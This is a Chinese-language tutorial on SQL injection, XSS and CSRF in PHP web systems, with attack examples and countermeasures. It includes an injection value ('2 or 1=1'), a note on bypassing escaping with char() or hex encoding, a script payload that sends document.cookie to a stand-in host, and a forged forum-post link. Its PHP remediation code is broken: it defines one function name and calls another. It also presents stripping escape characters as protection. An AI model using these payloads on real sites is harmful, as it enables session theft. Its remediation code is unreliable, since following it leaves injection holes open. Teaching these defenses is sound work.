互聯網項目中安全問題日益得到重視,前期出現某公司泄露用戶信息,記者又有網站被黑,甚至有竊取網銀事件發生。
在常見的web系統中,最常見的幾種安全問題有:SQL注入,XSS漏洞,CSRF攻擊(跨站點請求偽造)。
1.SQL注入:SQL注入之所以存在,主要是因為工程師將外部的輸入直接嵌入到將要執行的SQL語句中了。黑客可以利用這一點執行SQL指令來達到自己目的。
例如: $sql = 'select * from user where id ='.$id;
這里用用戶輸入的變量$id來拼接SQL語句,存在安全隱患。如果$i = '2 or 1=1',這里就能輕松的獲取到user表的仍意信息。利用SQL注入漏洞,我們能夠獲取想要的信息,同時可以通過猜測和報錯獲取到數據庫其它表的結構和信息,如果數據庫、服務器權限設置不當,甚至有可能能獲取到整個服務器的控制權限。
解決方案:
1.寫一個ORM(Object Relational Mapping,實現面向對象編程語言里不同類型系統的數據之間的轉換),這樣可以避免直接拼接SQL 語句,少了不少麻煩而且能大大提高開發效率。
2.如果非得寫一些原生的SQL拼接語句,則我們必須對輸入的那些變量進行優化過濾.
a.如果查詢的字段類型是數字等類型,在拼接SQL前先判斷輸入是不是一個合法的數字,不合法則終止程序即可。$id=intval($_GET[‘id’]);
b.如果字段類型是字符串,則記得將輸入里的的單引號進行轉義。
ps:關於php防止SQL注入對輸入的特殊符號進行轉義的相關知識:
當php.ini里的 magic_quotes_gpc 為On 時。提交的變量中所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字符會自動轉為含有反斜線的轉義字符,給SQL注入帶來 不少的麻煩。但是利用改變注入語句的編碼來繞過轉義的方法,比如將SQL語句轉成 ASCII編碼(類似:char(100,58,92,108,111,99,97,108,104,111,115,116…) 這樣的格式),或者轉成 16進制編碼,甚至還有其他形式的編碼,這樣以來,轉義過濾便被繞過去了,這時候我們可以這樣對經過轉移的數據這樣處理:
//去除轉義字符 function stripslashes_array($array){ if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = stripslashes_array($v); } } else if (is_string($array)) { $array = stripslashes($array); } return $array; } $_POST = array_map('stripslashes_deep', $_POST);
或者在未開啟magic_quotes_gpc 時:
$keywords = addslashes($keywords); $keywords = str_replace("_","\_",$keywords);//轉義掉”_” $keywords = str_replace("%","\%",$keywords);//轉義掉”%” 后兩個str_replace替換轉義目的是防止黑客轉換SQL編碼進行攻擊。
2.XSS攻擊:如果說SQL注入是直接在SQL里執行了用戶輸入,那XSS攻擊是在HTML里代碼執行了用戶輸入。相對SQL注入,XSS似乎更能引起人關注。幾年前新浪微博被人利用XSS獲取大量粉絲;3DM也曾經被植入script代碼對另一個游戲網站進行了慘無人道的DDOS攻擊。
例子:一個文本框 <input type="text" name='keyname' value="">
在頁面上我輸入了這樣的代碼:/><script>window.location.href='MyDomain.com?cookie=' + document.cookie</script>;
這段代碼獲取到當前頁面的cookie值,並將cookie值傳遞到另一個名為MyDomain.com的網站。利用這種模式,黑客可以獲取到用戶的登錄信息或者將用戶跳轉到釣魚網站來達成自己的目的。SS攻擊也可以簡單分為兩種,一種是上述例子中利用url引誘客戶點擊來實現;另一種是通過存儲到數據庫,在其它用戶獲取相關信息時來執行腳本。
解決方案:
- 將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
- 只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。
- 對數據進行Html Encode 處理
- 過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , < for <, > for >, " for
- 過濾JavaScript 事件的標簽。例如 "onclick=", "onfocus" 等等。
3.CSRF攻擊(跨站點請求偽造):顧名思義,是偽造請求,冒充用戶在站內的正常操作。
例子:
一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之后 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那么,我只需要在論壇中發一帖,包含一鏈接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接,那么他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那么刪帖、轉帳、改密碼、發郵件全都可以偽造。
解決方案:
對這種問題我們一般的解決方法是:通過session token來實現保護。當客戶端請求頁面時,服務器會生成一個隨機數Token,並且將Token放置到session當中,然后將Token發給客戶端(一般通過構造hidden表單)。下次客戶端提交請求時,Token會隨着表單一起提交到服務器端。接收到請求后,服務器端會對Token值進行驗證,判斷是否和session中的Token值相等,若相等,則可以證明請求有效,不是偽造的。
ps:題外話,這里的session token機制也可用於注冊或者cms文章添加等功能上,可以用來防止用戶"重復提交",相比於上面的CSRF方案是這樣的:服務器端第一次驗證相同過后,會將澀session中的Token值更新下,若用戶重復提交,第二次的驗證判斷將失敗,因為用戶提交的表單中的Token沒變,但服務器端session中Token已經改變了。
